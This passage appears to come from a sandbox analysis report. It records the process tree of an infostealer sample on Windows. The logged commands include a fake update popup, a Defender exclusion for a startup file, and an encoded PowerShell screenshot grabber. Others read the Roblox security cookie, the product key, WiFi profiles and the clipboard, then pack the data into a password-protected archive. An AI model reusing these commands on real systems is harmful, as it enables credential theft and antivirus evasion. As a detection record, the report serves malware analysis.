        PID:2472
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('NodeJs outdated, Please update it to latest version', 0, 'Error', 0+16);close()""
        5⤵
        
        PID:4068
      - C:\Windows\system32\mshta.exe
        
        mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('NodeJs outdated, Please update it to latest version', 0, 'Error', 0+16);close()"
        6⤵
        
        PID:4656
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏ .scr'"
        5⤵
        
        PID:1812
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏ .scr'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2460
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:3320
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        
        PID:4940
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:920
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        
        PID:3304
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        5⤵
        
        PID:4608
      - C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
        6⤵
        
        PID:1044
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        5⤵
        
        PID:332
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-Clipboard
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3764
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:2600
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        
        PID:2588
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:3096
      - C:\Windows\system32\tree.com
        
        tree /A /F
        6⤵
        
        PID:4944
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
        5⤵
        
        PID:3948
      - C:\Windows\system32\netsh.exe
        
        netsh wlan show profile
        6⤵
        
        PID:2780
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "systeminfo"
        5⤵
        
        PID:2280
      - C:\Windows\system32\systeminfo.exe
        
        systeminfo
        6⤵
        Gathers system information
        
        PID:3624
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
        5⤵
        
        PID:1512
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4404
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vcpxnpqm\vcpxnpqm.cmdline"
        7⤵
        
        PID:5440
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC650.tmp" "c:\Users\Admin\AppData\Local\Temp\vcpxnpqm\CSCC60AF89358154820BF87EF80C6C5A47C.TMP"
        8⤵
        
        PID:5684
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:696
      - C:\Windows\system32\tree.com
        
        tree /A /F
        6⤵
        
        PID:5256
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:5296
      - C:\Windows\system32\tree.com
        
        tree /A /F
        6⤵
        
        PID:5368
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:5396
      - C:\Windows\system32\tree.com
        
        tree /A /F
        6⤵
        
        PID:5596
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:5636
      - C:\Windows\system32\tree.com
        
        tree /A /F
        6⤵
        
        PID:5732
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        5⤵
        
        PID:5744
      - C:\Windows\system32\tree.com
        
        tree /A /F
        6⤵
        
        PID:5800
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2416"
        5⤵
        
        PID:5860
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 2416
        6⤵
        Kills process with taskkill
        
        PID:5912
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2680"
        5⤵
        
        PID:6012
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 2680
        6⤵
        Kills process with taskkill
        
        PID:6072
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2696"
        5⤵
        
        PID:6100
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 2696
        6⤵
        Kills process with taskkill
        
        PID:1412
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4088"
        5⤵
        
        PID:3664
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 4088
        6⤵
        Kills process with taskkill
        
        PID:5164
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2500"
        5⤵
        
        PID:4928
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 2500
        6⤵
        Kills process with taskkill
        
        PID:5260
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2572"
        5⤵
        
        PID:2812
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 2572
        6⤵
        Kills process with taskkill
        
        PID:3140
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4164"
        5⤵
        
        PID:1432
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 4164
        6⤵
        Kills process with taskkill
        
        PID:1708
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3400"
        5⤵
        
        PID:5336
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:5368
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 3400
        6⤵
        Kills process with taskkill
        
        PID:5416
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1628"
        5⤵
        
        PID:3544
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 1628
        6⤵
        Kills process with taskkill
        
        PID:5388
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        5⤵
        
        PID:4836
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5408
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "getmac"
        5⤵
        
        PID:5476
      - C:\Windows\system32\getmac.exe
        
        getmac
        6⤵
        
        PID:5692
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        5⤵
        
        PID:4952
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5792
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI36562\rar.exe a -r -hp"fuckalleveryone" "C:\Users\Admin\AppData\Local\Temp\5oWhl.zip" *"
        5⤵
        
        PID:5032
      - C:\Users\Admin\AppData\Local\Temp\_MEI36562\rar.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI36562\rar.exe a -r -hp"fuckalleveryone" "C:\Users\Admin\AppData\Local\Temp\5oWhl.zip" *
        6⤵
        Executes dropped EXE
        
        PID:848
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic os get Caption"
        5⤵
        
        PID:1652
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic os get Caption
        6⤵
        
        PID:4484
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
        5⤵
        
        PID:4200
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get totalphysicalmemory
        6⤵
        
        PID:1500
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        5⤵
        
        PID:2668
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        6⤵
        
        PID:2192
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
        5⤵
        
        PID:3180
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1776
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        5⤵
        
        PID:5904
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        6⤵
        Detects videocard installed
        
        PID:2912
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
        5⤵
        
        PID:2920
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1504
- - C:\Users\Admin\AppData\Local\Temp\iexplorer.exe
    "C:\Users\Admin\AppData\Local\Temp\iexplorer.exe"
    3⤵
    - Executes dropped EXE
    PID:4664

C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
1⤵
PID:448

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:2928
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding 75EF6C6979B4608444722AB48FAAF124 C
  2⤵
  - Loads dropped DLL
  PID:5060
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:2812
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding 03DF88CAAC25729A32BE27D8B60B199E
  2⤵
  - Loads dropped DLL
  PID:1552
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding 6C424344DFA5ECEE6C2D678F171C340C E Global\MSI0000
  2⤵
  - Loads dropped DLL
  PID:1736
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 0E718E51495354AD7A7C1E88F7155BEE
  2⤵
  - Loads dropped DLL
  PID:4092

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:4408

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of SendNotifyMessage
PID:2024
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffd85beab58,0x7ffd85beab68,0x7ffd85beab78
  2⤵
  PID:4788
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1848 --field-trial-handle=1968,i,13552169345879789310,14420689902450830270,131072 /prefetch:2
  2⤵
  PID:1216
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=1968,i,13552169345879789310,14420689902450830270,131072 /prefetch:8
  2⤵
  PID:2476
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2268 --field-trial-handle=1968,i,13552169345879789310,14420689902450830270,131072 /prefetch:8
  2⤵
  PID:3400
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2844 --field-trial-handle=1968,i,13552169345879789310,14420689902450830270,131072 /prefetch:1
  2⤵
  PID:6024
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2852 --field-trial-handle=1968,i,13552169345879789310,14420689902450830270,131072 /prefetch:1
  2⤵
  PID:6028
- C:\Program Files\Google\Chrome\Application\chrome.exe
